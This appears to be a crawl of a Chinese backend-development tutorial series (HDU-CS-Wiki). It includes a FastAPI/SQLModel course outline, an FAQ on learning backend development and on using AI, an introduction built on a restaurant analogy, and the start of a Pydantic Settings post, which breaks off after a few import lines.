整个教程的每个模块会维护和精进同一个项目(不与 Project 1 相同, 教程项目更倾向于教学示范)
理解或掌握以下知识：

路由函数 (Routing) 与 HTTP 方法 (GET, POST, PUT, DELETE)。
SQL, ORM 与数据库操作 (CRUD)。
API-服务-数据的基本三层架构模式。
中间件 (Middleware) 的作用。
基本的安全思想.
基本的单元测试和集成测试概念和写法
配置管理: 学会分离开发, 测试, 生产环境
学会现代部署: 掌握使用 Docker 和 Docker Compose 对应用进行容器化部署的基本技能。
学会阅读框架文档
基本的 Git 团队协作能力

课程大纲(一)

Lab 0

前后端的基本概念, 后端是什么
VSCode 配置, 环境变量, Python 虚拟环境, PEP规范和类型标注
uv Python 环境管理
Git基本配置, Github
…

模块一: API 和 HTTP

API 和路由函数
路径参数和查询参数
HTTP, GET 和 POST 方法
请求体和数据校验(pydantic)
API 文档 (展示FastAPI的自动生成的 Swagger 文档)
…
作业:
- 阅读文档, 找到如何使用 FastAPI 构造一个上传文件的接口.
- 通过阅读文档, 发现并解决 FastAPI 中路由函数先后定义产生的问题.
拓展阅读:
- HTTP MDN, 图解HTTP
- RESTful API 和 WebSocket
- API测试工具
- …

模块二：数据库

SQL语句: 手动使用SQL来进行基础的查询和数据库操作
ORM 与模型: ORM概念, 使用 SQLModel，定义第一个数据模型。
连接数据库: 使用 SQLite 作为入门数据库，配置数据库连接。
实现 CRUD: 编写完整的增、删、改、查四个 API 接口。
数据库事务的概念和重要性(ACID), SQLModel 的 session
索引设计
作业:
- 提供一个复杂的数据库 ER 图, 要求编写几个不同复杂度的 SQL 查询语句, 覆盖连接 (JOIN), 分组 (GROUP BY), 子查询等。
- 用ORM的关系预加载优化一个 N+1 查询问题.
拓展阅读:
- SQL, NoSQL(MongoDB, Redis, Neo4j)
- 索引, 外键, 多对多…
- alembic 等数据库同步工具
- ACID、CAP 和 BASE
- 软删除
- SQL 注入
- …

模块三：代码的规范化

问题引入: 当业务逻辑变复杂时，所有代码都写在路由函数里的坏处。
重构代码: 引入三层架构思想, 把先前的代码清晰分为API层, 服务层, 路由层.
如何避免过度设计
拓展阅读:
- IoC 和依赖注入
- 22种设计模式
- SOLID 原则
- 领域驱动设计
- …

模块四：中间件

中间件基本概念
中间件一般应用场景
错误处理中间件(统一错误响应格式)
CORS中间件
作业:
- 编写一个简单的记录API日志的中间件, 统计请求处理时长.
- 实现自定义异常处理中间件
拓展阅读:
- …

模块五: 基本的安全思想

JWT Token
passwd_hashed
CORS
环境变量管理敏感信息
永远不要相信用户的输入
…
作业:
- 实现一个完整的注册登陆流程, 密码哈希存储
- 利用中间件实现API的Token鉴权
- …
拓展阅读:
- …

模块六：交付你的第一个后端服务 (容器化)

Docker 入门: 讲解什么是 Docker, 它解决了什么问题.
Dockerfile: 为 FastAPI 应用编写一个 Dockerfile
Docker Compose
作业:
- …
拓展阅读:
- 除了Docker以外的容器, Podman, container.d
- CI/CD, Github Actions
- …

Project 1: 电子书商城

与前端组协调, 后端小组与前端小组共同完成电子书商城项目.
要求:
- 强制使用 Feature Branch 工作流
- 编写有意义的 Commit Message
- 团队成员之间需要进行 Code Review

1.0 后端教程入门篇前言

Sat, 09 Aug 2025 19:56:20 +0800

:::warning 📌 施工中 :::

欢迎阅读。我是本教程编者V3n0。

教程的初衷

我不想让这个教程变成某某语言，某某框架的速通指南。这个教程的目的不是给你一堆可以直接复制的代码，而是带你走过从不会到能独立解决问题的完整路径。

对于现实场景的后端开发，真正重要的不是死记某个框架的 API，而是通用的后端思维与解决问题的能力: 后端开发通用的核心概念，从业务需求入手的设计思路，如何通过查阅文档来上手一个从来没有用过的框架/语言，如何组织代码结构，如何 debug…

我不希望读者在跟完一个教程后，脱离示例代码就无从下手。相反，我希望你能在面对陌生问题时，凭借后端开发的共通思路，结合搜索引擎和文档，独立构建出可运行、可维护的功能。

有人会问，后端教程非常非常多，为什么我不直接在这里推荐教程呢？

对于很多后端新手，我主要担心的问题有几点：

过度依赖某一语言/框架，离开它就举步维艰。
过度依赖教程，陷入教程的死循环。
缺少“学习方法”的传授，只教结果，不教过程。

我希望补足的就是这些点。对于一些概念性问题，我会尽可能用通俗的方法讲懂。但是对于一切具体的代码示例，我会完整演示如何查阅文档、定位关键 API、逐步推导到可运行代码，而不是直接贴出最终答案。我会假设自己从未使用过教程中提到的框架或库，这样的演示更接近真实开发中遇到的场景。现实里，你很少会记住所有 API，但快速阅读和理解文档的能力是长期有效的核心竞争力。

本教程不会把每一个概念都讲的非常深入刁钻。对于一些进阶的知识，我会以拓展阅读的形式呈现。

希望这个教程能帮助你把现代后端开发的关键知识点串联起来，为后续的深入学习打下完整框架。

教程技术栈选择

入门篇将会使用 Python FastAPI SQLModel。

Python 是一门足够新手友好的后端语言，语法简单，生态丰富。
FastAPI, SQLModel 有优秀的官方文档和新手友好设计。FastAPI 和 SQLModel 的文档本身就是足够优秀的后端教程。

在入门篇我希望尽可能减少语言上的门槛，快速讲清现代后端开发的各种基本概念，熟悉开发流程。

进阶篇会使用 Go Gin GORM。

Go 语言语法简洁，可读性高，特别适合讲解底层实现和架构设计。
Go 天生就很适合微服务架构，可自然过渡到更复杂的后端场景。

在这一阶段，会讲解后端框架的构建原理、应用的底层设计理念，以及缓存、消息队列、微服务、云原生等更高阶的主题。

教程前置知识需求

掌握至少一门编程语言基础。Python、JavaScript、Java、Go 都可以，但不只是会语法，更重要的是理解函数，理解类和对象，能灵活使用基础数据结构（列表、字典、集合等），理解控制流（循环、分支）、递归、异常处理。这里推荐一个十分权威的神课 CS61A。本人也是通过 CS61A 打开了编程的大门。并且语言使用 Python ，和入门篇衔接上了。
基础的命令行使用能力。后端学习过程中会频繁接触命令行（CLI），比如：创建/进入目录、运行脚本；安装软件包、运行服务器；使用 Git 进行版本控制；修改配置文件等。虽然不是必须“精通”，但你至少要不排斥和恐惧命令行、能基本操作它。
基本的英文阅读能力。后端世界几乎一切文档、错误提示、API参考资料……全是英文的，本教程的 SQLModel 文档同样是英文。你不需要能流利写作或口语，但你需要：能读懂开发文档；能大致看懂报错信息；能 Google/Stack Overflow 查英文资料。如果你暂时没有练成，也不用担心，善用翻译工具就行。比如沉浸式翻译浏览器插件。
畅通的网络环境。后端开发离不开 GitHub、Stack Overflow、官方文档、npm/pip 等包管理平台。如果你不能流畅访问这些网站，找学长私聊琢磨下。
提问的智慧。你可能听说过《提问的智慧》这篇经典文章。这个文章的语气对新手有点压迫感，有种高高在上令人生畏的感觉，至少我是新手时是这么想的，看完感觉自己都不配提问了。但它确实讲的很好。虽然标题是提问的智慧，但实际上它不只是告诉你怎么问问题，更是在潜移默化地教你怎么分析问题、定位问题，最终自己解决问题，而后者我认为反而是更重要的。你可以在无聊的时候看一看这篇文章。

如何运用本教程

主动学习：遇到不懂的内容时，第一步不是跳过，而是搜索、查阅文档、比对示例。
提问方法：参考提问的智慧。它不仅教你如何提问，更能训练你分析、定位、并独立解决问题的能力。
文档跟读：教程中会多次引导你进入官方文档查找答案，请务必自己操作，而不是只看结果。
完成作业：多数模块都会布置小作业，建议动手完成。
拓展阅读：会提供相关资源，按需阅读以拓宽知识面。
记录学习：建议尝试搭建自己的博客，记录每一步的思考过程和遇到的问题。
团队合作项目：入门篇和进阶篇教程末尾会安排一个综合性 Project，推荐小组合作完成，以学习协作开发和项目管理，并且任务量可能不适合一个人完成。

0.2 后端答疑篇

Mon, 04 Aug 2025 02:06:14 +0800

这里我尽可能多地列举了小白可能想问的问题，简单的分了一下类别，列举在这里。

:::warning 📌 此处的回答仅为个人观点 :::

:::warning 📌 施工中 :::

入门思考与自我定位

1. 为什么学习后端？

这里假设你是一个刚刚掌握了编程基础，知道类和对象等基本概念、可能完成过一些练习但缺乏完整项目经验的新手，想继续深入学习。

在如果有引导、有系统学习资源，从后端开发切入项目实践，是一个很不错的选择。我会讲讲优点和缺点。

学习后端会很好的巩固你的编程内功，因为它的核心是逻辑，数据和架构，会直接强迫你应用和深化函数、类、对象、数据结构等知识。你写的每一行代码都在处理具体的数据和逻辑流。入门后端之后，你也更容易进入云计算，DevOps，架构设计等等更进阶的领域，可以尝试“微服务”等更现代的系统构建。

后端的“技术保质期“更长。相较于前端，后端开发初期可以暂时不用理会UI设计、浏览器兼容性、页面布局以及五花八门，日新月异的前端框架。后端许多核心框架，如 Java 的 Spring、Python 的 Django，已经稳定存在十多年。近年来虽然像 Go, Rust 这种新兴语言的现代 Web 框架也开始流行，但整体来看，后端开发的核心思想变化并不大。真正变化较多的，其实是在基础设施和部署层面，比如容器化、服务网格、Serverless 等。而前端，三年前的主流技术可能放到现在已经不是最优解，导致开发者可能需要不断学习新的工具集。准确说，前端变化虽快，但并非完全“无用”，核心模型（组件化、响应式、虚拟DOM）是稳定演进的，不过也不可避免地带来开发者适应新技术的心智负担。

学习后端之后，面对不同语言或框架的后端，你的技能可迁移性会更强。API设计、数据库交互、用户认证，中间件等，这些概念在不同的语言和框架之间是通用的。而核心的业务逻辑甚至基本可以脱离特定的 Web 框架而存在。你会学习到通用的“道”，而不是仅仅某一个工具的“术”。在技能的迁移性这一点上，后端比前端好很多。后端的核心职责是处理数据和执行业务规则，前端的核心职责是管理UI状态，响应用户交互。前端的业务逻辑基本等同于 UI 交互逻辑，而如何高效地管理“状态”并在状态改变时更新UI，正是每个前端框架要解决的核心问题。对于状态管理，UI渲染更新，组件通信，可能每个框架作者都充满了不同的看法，每个框架的机制都可能不同，有时甚至是哲学上的不同（比如 React 是“函数式 + 声明式”，Vue 是“模板驱动 + 响应式”），会需要你在整个思维模式上做出改变。不同的前端框架代表了不同的“道”，它们的“术”也为了各自的“道”而服务。你会需要透过现象看本质的能力，理解组件化和现代 Web 应用的构建思想，才是前端里的可迁移技能。总之，后端在早期阶段，更容易让人接触到通用的设计思想，而前端则在深入后，才逐渐显现其模型哲学和架构价值。

从功利一点的角度来看，后端在很多团队中的确更容易产生直接的业务价值，并在产品形态与系统架构上拥有更多的话语权。

比如在很多公司中，尤其是以业务驱动为主的企业，产品设计往往是后端和产品一起深度参与完成的：他们会一起确定业务流程、字段结构、权限模型等核心内容，然后由后端定义出接口，告诉前端该怎么调用。

在这种分工下，前端更多是在已有接口和交互方案的基础上实现用户体验和交互逻辑，而后端则会相对而言更早介入产品设计，在架构，数据建模层面有更高参与度，包括数据模型如何抽象、流程怎么串联、接口怎么设计；系统的扩展性、可维护性、可复用性怎么保证；甚至未来支持新业务方向时的延展能力。

如果你希望在产品落地中扮演更主动的角色，希望不仅是“接接口”，而是参与“设计接口”的过程，那么学习后端会让你更有这种掌控感和产出感。

而从技术成长上看，后端也常常承担“架构演进”的主力，比如服务拆分、微服务架构设计、数据库优化、系统容错等，这些都往往是后端主导的领域。因此如果你对“做更深的技术”和“参与业务底层逻辑”的方向感兴趣，后端是一个天然更贴近这些目标的位置。

当然，这种角色差异也不是绝对的。在注重用户体验和复杂前端交互的项目中，比如低代码平台、图形编辑器、可视化大屏、Web IDE 等，前端也会拥有极大的设计空间和技术主导性。只是从平均情况和传统项目结构来看，后端更接近系统核心，因此也容易承担更大的设计责任和产出主力。

从后端入门同样有缺点。

显而易见的缺点是它更抽象，缺乏即时直观的反馈，入门门槛高。可能你写了好多代码，却只实现了一个简单的增删改查。如果缺乏兴趣，缺乏引导，大概率会让你感到枯燥迷茫。对于编程基础较弱的同学，可能前面所说的“巩固”会变成“卡住”。相比之下，前端哪怕只是复制粘贴一个按钮，都能马上看到结果。

并且想独立完成一个功能完整的后端项目，难度的确不可避免会很大。对于刚学会编程基础的新手，只写过小函数小脚本，要是看到那么复杂的项目结构，这真的令人望而却步。新手可能会花大量时间在搭环境配置，连不上库，理不清架构上。

后端调试错误对于一些新手可能很困难，原因在于后端错误很多时候相对更加抽象，偏向逻辑和网络协议的错误。这些错误经常只是说：“Internal Server Error”，“Database connection refused”，“NoneType has no attribute ‘xyz’”，可能很难找到问题源头。而前端调试更偏UI/状态/异步交互类（虽说二者都不简单）。

不过，我们的 HDU-CS-Wiki 后端教程会用最新手友好的方式，让你无痛入门后端。

:::info Note 教程仍在施工，敬请期待，欢迎提供建议。 :::

2. 我适合后端吗？

相比于一个按钮好不好看，你是否更关心它背后的系统是如何高效运转的？你是否享受分析一个问题的本质、理清逻辑结构？你是否对性能、稳定性、安全性等底层问题感兴趣？如果答案偏向于是，那么你就有成为优秀后端开发者的潜质。

如果你希望在产品落地中扮演更主动的角色，希望不仅是“接接口”，而是参与“设计接口”的过程，那么学习后端会让你更有这种掌控感和产出感。

如果你玩天际线，缺氧，异形工厂之类的规划类游戏，那你也很可能适合学习后端。~~(夹带私货了, 因为本人也玩)~~

还有很多初学者，即使起初并不偏好后端，但希望通过项目实践掌握软件工程的通用技能，也很适合从后端开发入手，培养工程思维。也许后来你会发现后端开发的乐趣。

如果你仍不确定，欢迎来群里聊聊。

3. 后端比前端难学吗？

这个问题没有绝对的答案，有各自的难处，难点和节奏不同。

后端门槛略高，更抽象更逻辑化，但入门之后你会感到自己在稳定扎实地前进，路线会很清晰。前端可以相对更友好地入门，但可能需要你更多广泛的涉猎，时刻紧跟动态。而且当你成为熟练的前端开发者之后，如果你想继续研究前端开发，可能你的关注点会延伸到美学、人文、可访问性等超出纯编程的领域。这需要你站在“用户视角”上去感受、思考，不是纯靠逻辑能解决的。后端则更多聚焦在数据与逻辑的构建，强调性能、可维护性、可靠性，偏向工程理性。

但你如果想问这个问题，大概率你目前只打算先选一个学。这是完全可以理解的，但也要意识到：现代 Web 开发，前后端知识是有一定交叉的。端开发者如果完全不懂前端，那和前端沟通起来会有障碍，可能不知道“这个接口怎么用才好”；前端开发者如果完全不懂后端，也可能会写出一些逻辑混乱、接口滥用的代码。真正理解前后端职责边界、协作模式的人，才能写出“干净、合理、可维护”的系统。

后端的前置知识

4. 学后端之前，我需要先学什么？

掌握至少一门编程语言基础。Python、JavaScript、Java、Go 都可以，但不只是会语法，更重要的是理解函数，理解类和对象，能灵活使用基础数据结构（列表、字典、集合等），理解控制流（循环、分支）、递归、异常处理。这里推荐一个十分权威的神课 CS61A。本人也是通过 CS61A 打开了编程的大门。
基础的命令行使用能力。后端学习过程中会频繁接触命令行（CLI），比如：创建/进入目录、运行脚本；安装软件包、运行服务器；使用 Git 进行版本控制；修改配置文件等。虽然不是必须“精通”，但你至少要不排斥和恐惧命令行、能基本操作它。
基本的英文阅读能力。后端世界几乎一切文档、错误提示、API参考资料……全是英文的。你不需要能流利写作或口语，但你需要：能读懂开发文档；能大致看懂报错信息；能 Google/Stack Overflow 查英文资料。如果你暂时没有练成，也不用担心，善用翻译工具就行。比如沉浸式翻译浏览器插件。
畅通的网络环境。后端开发离不开 GitHub、Stack Overflow、官方文档、npm/pip 等包管理平台。如果你不能流畅访问这些网站，找学长私聊琢磨下。
提问的智慧。你可能听说过《提问的智慧》这篇经典文章。这个文章的语气对新手有点压迫感，有种高高在上令人生畏的感觉，至少我是新手时是这么想的，看完感觉自己都不配提问了。但它确实讲的很好。虽然标题是提问的智慧，但实际上它不只是告诉你怎么问问题，更是在潜移默化地教你怎么分析问题、定位问题，最终自己解决问题，而后者我认为反而是更重要的。你可以在无聊的时候看一看这篇文章。

5. 我需要先学习前端吗？

不需要先学前端，完全可以直接学后端。

关于这个问题其实前面的问题已经部分回答过了。这里继续梳理一遍。

后端的核心任务是：处理数据、执行业务逻辑、提供接口。这套能力可以完全独立于 UI 层被开发和测试，不依赖页面渲染、按钮交互、DOM 等前端技术。也就是说，你哪怕一个 HTML 标签都没写过，也可以搭建一个能处理请求、连接数据库、执行业务逻辑的后端服务。

这正是后端适合作为编程进阶路径的原因之一 —— 它能直接锤炼你的数据处理、结构设计、逻辑思维等“编程内功”。

但懂一点前端，有时会帮你更好地理解前后端协作的边界。稍微了解一些 HTML/HTTP/前端如何调用 API 的方式，你会更容易理解前后端接口怎么对接，明确哪些逻辑该由后端做，哪些放在前端，或者自己写一些简单页面来测试接口，提升效率。这些都不是前置条件，而是顺带掌握、越学越通透的部分。因此 Web 前后端也不是完全分家的。你大概率两者都要涉猎一点点。

6. 学后端要会很多算法吗？

不需要。大多数后端工作不需要你掌握大量复杂的算法，不需要你再像高中那样天天刷算法题，大多数时候用到些常规算法就行了，尤其现在各种高质量的算法库和框架早已实现了大多数通用算法，很多时候你只需要正确调用并理解其输入输出即可。

因为，后端开发面对的日常问题更多的是在于工程能力、架构思维、业务理解能力，而不是实现某个图算法，手写红黑树。不过，基本的算法和数据结构知识是进阶必需的。排序、查找，哈希表、栈、队列、树、图的基本概念，时间复杂度之类的。你需要知道“这些算法大概是干什么的”，知道“何时使用它们”，而不一定要从头造轮子。

算法当然是值得学的，但仅对于后端开发角度而言，是不必精通的。你对算法本身感兴趣，当然可以深入。最重要的在于你的兴趣。

后端的学习路线，方法，资源

7. 后端要学些啥？

一开始只需要掌握一门语言 + 一个 Web 框架 + 一个数据库，能写出一个最基础的 API 服务，就已经能入门了。

你只需要学会：

怎么写接口（GET、POST、PUT、DELETE）；
怎么存数据（增删改查）；
怎么把你的服务部署起来让别人访问。

这就已经是后端开发者了，真的没那么难。

在此基础上，你可以逐步学地深一点：

更复杂的数据库模型（比如多表关联）；
项目结构的组织（如何让代码更清晰、可维护, 设计模式）；
基础的安全（鉴权、密码加密等）；
容器化部署（Docker）；
团队协作开发（Git, Code Review）；
性能优化、缓存、消息队列；
微服务，容器集群编排(kubernetes);
…

这些内容是可以逐步补上的，不是一开始就要全掌握。

如果你想要一份更系统的大纲，欢迎关注 HDU-CS-Wiki 的后端教程。

8. 后端的相关教程资源？

坦白说，如果你认真读了前面的内容，你基本已经知道你大概要学什么内容，按照什么顺序学了。

但是我怕新手犯的一个错误，就是打开 B 站，搜了个后端入门，打开黑马程序员三十天速通 Spring Boot 一声不吭在那看，看着视频敲啥就照着敲啥。结果教程看完，发现离了教程就不会做了。又或者看到一半发现实在太枯燥无聊，中道崩殂。

这种“填鸭式看剧”学习法听起来很安心，但实际上效率极低。你可能一晚上看了两小时，却啥也没留下来，第二天一行代码都写不出来。然后你会想，我大概需要重新看一遍教程，或者找点别的教程。这时你就陷入了教程漩涡，不能说没有进步，但是可能相对还是有点低效。而且后端更重要的不是“学某个框架”，而是学会看文档，学会调试，学会融会贯通。这也是为什么我的教程倾向于尽可能多地演示官方文档的材料的目的。

读一些教学书籍未尝不可，但它需要高度的投入。一般这种书会非常详细地解释每个概念，这很棒，但也意味着进步是缓慢的，这不适用于每个人。而且大多数人不会“阅读第 x 章并完成章节后的练习”。

正确的后端学习姿势是，主动探索，文档优先。

我很推荐你根据自己的兴趣，用一个简单的语言和框架，跟着文档一步步直接上手尝试，尝试实现你自己想做的有趣东西。想象不到如何实现，那就直接问 AI 或者查文档。

这里也推荐一些靠谱的后端课程/资源：

MDN Web Doc - Server-side Mozilla 出品，浅显易懂，涵盖后端全貌，业界权威。
FastAPI 官方文档它虽然是框架文档，但文档作者很有开源精神，在作为框架说明文档的同时，还普及了通用的后端知识和编程知识，已经是广受好评的后端教程。Python 同时也是一个很好上手的语言，从 FastAPI 开始入门后端是相当新手友好的。
SQLModel 官方文档 SQLModel 和 FastAPI 同作者。同样是新手友好的库，同样在文档中教学 SQL 的基础知识。
FastAPI 全栈模板在你感觉越写越乱时，可以模仿它来组织你的代码结构。拉取仓库，跑一跑玩一玩，也能顺便让你上手 Git 和 Github。
freeCodeCamp 有很多不错的免费教程。
SQL Bolt 交互式 SQL 教学，很有趣，很推荐。

如果你听说过 Go 语言并且想从 Go 语言上手(这会比较有挑战性)：

Learn Go with tests 从 Go 语言基础，到简单的 http 应用开发，并且还教会你测试驱动开发的方法，不完全是后端教程，更多还是 Go 语言基础。
Go Web Examples 从基础到RESTful API开发

遇到问题时，问老登是很好的。

不要被教程框住你该走的路。你要成为构建知识的人，而不是单纯的知识接受者。

最后，欢迎关注 HDU-CS-Wiki 的后端教程。教程预计将分为两个部分，第一部分会用 Python FastAPI 带你简单入门后端，第二部分会由浅入深地用 Go 语言带你搭建自己的第一个大型微服务架构应用。

欢迎你推荐你认为同样不错的教程。

9. 我要选择哪一门语言？我要选择什么框架？

大多数时候你纠结的不是语言，而是害怕选错、走弯路。但放心讲一句：新手根本不可能选错。对于后端新手，选择简单的语言和框架即可，Python FastAPI , 或者 node.js Express 就不错。但是入门之后，也不用担心自己的技术栈不够深，而把自己定位在某一个语言，专注同一个框架。你可以拥抱各种新领域，广泛探索。因为对于后端，真正的“深入”不在于语言，而在于你是否理解背后的原理和模式。

关于AI

10. 如何正确利用 AI 辅助学习？

在你完全接触一个新领域时，把 AI 当作一个全天候，有耐心的私人助教。这个阶段的 AI 会极大节省你到处翻看文档查找资源的时间。并且好处在于，你永远不需要担心自己的问题是不是太蠢。你可以说：用一个生活中的例子，解释什么是RESTful API？帮我看看这段代码有什么可以优化的地方？有没有明显的不良实践？

但是！如果你还没学会基础编程的各种概念，除非你已经绞尽脑汁，否则请不要将 AI 用于你的任何 代码练习 中。这个阶段你需要的是一砖一瓦地亲手搭建最基础的知识框架。

如果你已经度过了编程小白时期，开始尝试写一些自己的小项目，那么我会提出一个完全相反的观点：尽可能多地，放心大胆地，让 AI 来生成你的项目代码。

不过这里的前提是，你需要阅读 AI 的每一行代码，确保自己读懂它。并且调试和 debug 时不要使用 AI！

使用 AI 快速实现需求能极大提高你的信心，能迅速把你领进现代开发的工作流，熟悉多样的技术。同时这个阶段也完全没必要怕 AI 写的坏代码，我反而要说这是不得不品鉴的一环。只有自己第一次把坏代码写出来，你当你想改一个小功能却要动十几个地方时，你会发觉“原来这就是坏味道”，才能切实体会到代码为什么坏，才能理解某种所谓的“最佳实践”为什么是最佳实践，某些设计模式或原则为什么是好的，能借此学习如何重构自己的代码。相反，如果直接去硬啃那么多“最佳实践”，这就像是你不知道敌人是谁就举起了武器，想必是会脱靶。

当你度过了这种“后新手”时期，你一定也会有自己对于 AI 工具的独特理解了。在这之前，你会从“判断 AI 写的代码好不好”开始，逐渐成为一个真正独立的开发者。

11. AI 会取代后端开发吗？

短期内不会。经常看到视频说完全用 AI 写了一个大项目，但目前来看， AI 的代码虽然能跑，却往往有不少问题。经常看起来 90% 正确，实际就是差那 10% 。经常缺乏架构意识和维护性考量（可以通过提示词工程来改善），或者安全性、健壮性差。

但是这样来看，这也意味着 AI 的进步速度飞快，也许再过几年，AI 就能独立负责一整个项目，写出又快又好的代码。

因此，后端开发者大概会需要具有架构师和产品经理的思维。

AI 发达了之后，后端开发的时间成本和人力成本都会下降，更有价值的问题不再是技术本身。后端开发者可能更需要对业务有整体的把握能力。因为技术不是最终目的，技术的本质是为了产品服务的。什么样的产品是用户所需要的，产品针对的用户群体是什么，产品的商业模式是什么，等等，可能才是更有价值的问题。

关于就业

12. 青春饭？35岁危机？

问这个问题的目的其实可能分成两个

可能是因为想看看未来是否还能从事计算机这个行业, 害怕跳火坑
也可能是已经决定准备进入计算机行业, 但是对未来的发展比较担忧焦虑.

关注点不同, 但焦虑的本质是相同的: 未来的不确定性.

是不是有 35 岁被裁的情况呢? 的确是有的. 但是我们看问题要看本质. 行业淘汰人的原因, 不是因为年龄, 是因为性价比. 公司不会花高薪请一个拼接业务逻辑, 只会增删改查的 35 岁程序员, 但会请一个能独立承担架构、能带团队、能解决复杂问题的 35 岁工程师.

年龄只是个时间点，本质是你在这段时间有没有持续成长

我们从行业视角来看这个问题, 35 - 18 = 17 , 十几年时间, 足以天翻地覆. 十七年前, 互联网还没爆发, 云计算还没起步, AI 更是边缘话题. 十七年后, 谁能预测行业变成什么样?

与其担忧未来这个行业会不会有危机, 不如承认计算机这个行业就是一个充满变化的行业.

这里又有一个个人选择的问题. 你最终想要的到底是什么? 你是想要高薪, 还是喜欢编程, 还是想成为某个领域的专家, 还是想成为一步步爬升, 做技术管理? 想清楚之后, 你才能做准备.

不过不管怎样来说, 三十五岁太遥远了, 我们更应该关注当下的事情.

我能学什么，让简历上更有亮点？我能做什么项目，能体现解决问题的能力？我能利用大学的环境，去尝试哪些有趣的事情？

未来不可控，当下才是你能左右的, 只有较近的未来是能被计划的.

AI 发展, 未来计算机是土木吗

首先要区分：土木和软件工程有本质上的不同。

土木和软件工程不一样的地方在于, 土木改造物理世界, 软件改造数字世界. 土木有物理极限, 市场会饱和, 但软件的需求是可以膨胀的, 技术迭代速度远快于土木, 各行各业对于软件的需求是可以转移和升级, 而不会消失的. 因此软件相关的岗位大概率会在比较长的时间里一直存在.

AI 在软件领域目前主要扮演的是提效工具的角色。它可以让开发更快，但真正要它独立完成一个大规模项目，距离现实还有差距。对于就业而言, 悲观的角度看，也许几年后 AI 的迭代能做到自动设计、自动开发、自动运维，那么传统的“低层次程序员”一定会被淘汰。

但是每一波技术浪潮, 旧岗位消失的同时，新岗位也会诞生。今天 AI 火爆，Agent 开发、AI 产品设计就是新的需求；几年后，可能会出现我们现在还想不到的机会。谁知道几年之后的行业样子呢?

未来的开发者门槛会提高。单纯写 CRUD 代码的价值会下降，而更需要的是架构师思维和产品思维, 因为真正重要的不是技术, 而是业务. 技术是为了业务服务的. 用户真正需要什么？产品目标群体是谁？产品的商业模式如何？这些实际的业务问题，比单纯的技术实现细节更能决定一个人在公司中的不可替代性。

0.1 导论

Sat, 02 Aug 2025 23:48:00 +0800

教程作者： V3n0

欢迎阅读 Veno 的后端教程！

这篇导论会快速为你建立对于整个计算机领域的认识，并让你了解后端开发在整个开发领域的位置。之后，我会尽可能浅显直白地为你解答小白对于后端的大多数疑问。如果还有更多的问题，那么欢迎提问。

后端简介

深入“后端”这个角色之前，我们先把镜头拉远，看看计算机领域的全貌。这是为了你能更好的理解后端是什么。

计算机领域整体速通

我们可以把整个计算机领域想象成从零开始建造并运营一座现代化的城市：

硬件 - 城市的基建

这是城市的根基。水电，钢筋水泥，道路交通，就是电脑的CPU, 内存，硬盘，主板等等。没有基建，城市的一切建设都是空谈。

硬件是让计算成为可能的物理基础。

对应到开发领域，硬件工程师负责了这些硬件的设计制造。此外还有嵌入式开发，为特定的硬件编写贴近硬件的软件（也就是固件）。

操作系统 - 城市的市政

为了利用上面的基建，我们需要有一个“市政府” – 操作系统。市政府负责维护一些基础的公共服务，并且保证了城市的秩序。

Windows, MacOS, Linux这些操作系统就是市政府，这是连接物理硬件与上层软件的桥梁。它们会和硬件设备交互，管理硬件资源，维持各进程有条不紊地共用资源，并提供一些公共的基础设施，比如进程管理，内存管理，文件系统，设备管理等等。

应用软件 - 城市的万千商铺

有了基建和市政，我们终于能开店做生意了。假设说我们想开一家大饭店。

餐厅的前厅，当然就对应了 前端开发。这是顾客能直接看到和体验到的一切。

装修、菜单、桌椅、灯光、服务员，这对应着应用的用户界面（UI）。按钮长什么样，图片放在哪里，页面跳转的动画效果，点击按钮后的反应等。服务员热情地为你点餐，就如同一个友好的交互界面。

而后端开发，就是餐厅的后厨。

后端的地位

餐厅的后厨是顾客看不见，但决定了饭店生死存亡的核心部分。

厨师团队 (核心业务逻辑)：

他们根据菜谱（业务规则）处理食材（数据），制作出菜品（响应）。比如，用户下了一个订单，后端的厨师就要执行“减库存”、“计算价格”、“生成订单记录”等一系列操作。
仓库和货架 (数据库)：

所有的食材（用户信息、商品信息、订单数据）都必须分门别类、井井有条地存放在这里。需要什么食材，厨师要能快速、准确地拿到。仓库必须安全、防盗、防火（数据安全与备份）。
点餐的小票 (API)：

服务员（前端）把顾客的点单通过一个小票传到后厨（后端），后厨做好菜后，再通过这个系统通知服务员取餐。这张小票就是 API，它定义了前后端沟通的格式和语言，是连接前厅和后厨的桥梁。
厨房的标准化装修 (后端框架):

如果每个厨师都自己决定炉子放哪、案板多大、调料摆哪，后厨就会乱成一锅粥。框架就像统一装修方案：炉子、冰箱、切菜台、调料架的位置都设计好了，还配好燃气管道和下水系统。厨师（开发者）来了就能直接开工，不用自己从水电走线开始搞。
厨师长和经理 (服务器与架构)：

他要确保后厨运转高效。顾客多的时候（高并发），要加派人手（服务器扩容）；要设计好流水线（应用架构），让切菜、炒菜、洗碗协同工作；还要保证炉灶不断火（服务器稳定运行）。

所以，后端开发就是这家饭店的“后厨团队+仓库管理员+厨师长”的集合体。

他们不直接服务顾客，但他们决定了：

饭店能提供什么菜品（核心功能）。
菜品味道好不好（算法与逻辑的优劣）。
上菜速度快不快（系统性能）。
饭店能接待多少客人而不会崩溃（系统并发能力）。
客人的信息和交易安不安全（系统安全）。

看完上面的描述，你一定已经对后端是个什么很清楚了。计算机领域虽然确实很浩大，但是别被吓到。我们只需要对这个领域有一个整体的认识即可。就像是我们不需要背下百科全书，只需要学会怎样查百科全书。

使用 Pydantic Settings 优雅地管理多来源的应用配置

Sat, 02 Aug 2025 16:46:15 +0800

场景：我们希望从多种来源，从配置文件导入我们的配置，并且经过 Pydantic 校验。pydantic-settings库提供了方便的API供我们实现这一需求。

Pydantic - Settings Management

下面直接给出代码示例。

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158


# config.py

import os
from pathlib import Path
from typing import Any, Self
from pydantic import BaseModel
from pydantic_settings import (
 BaseSettings,
 InitSettingsSource,
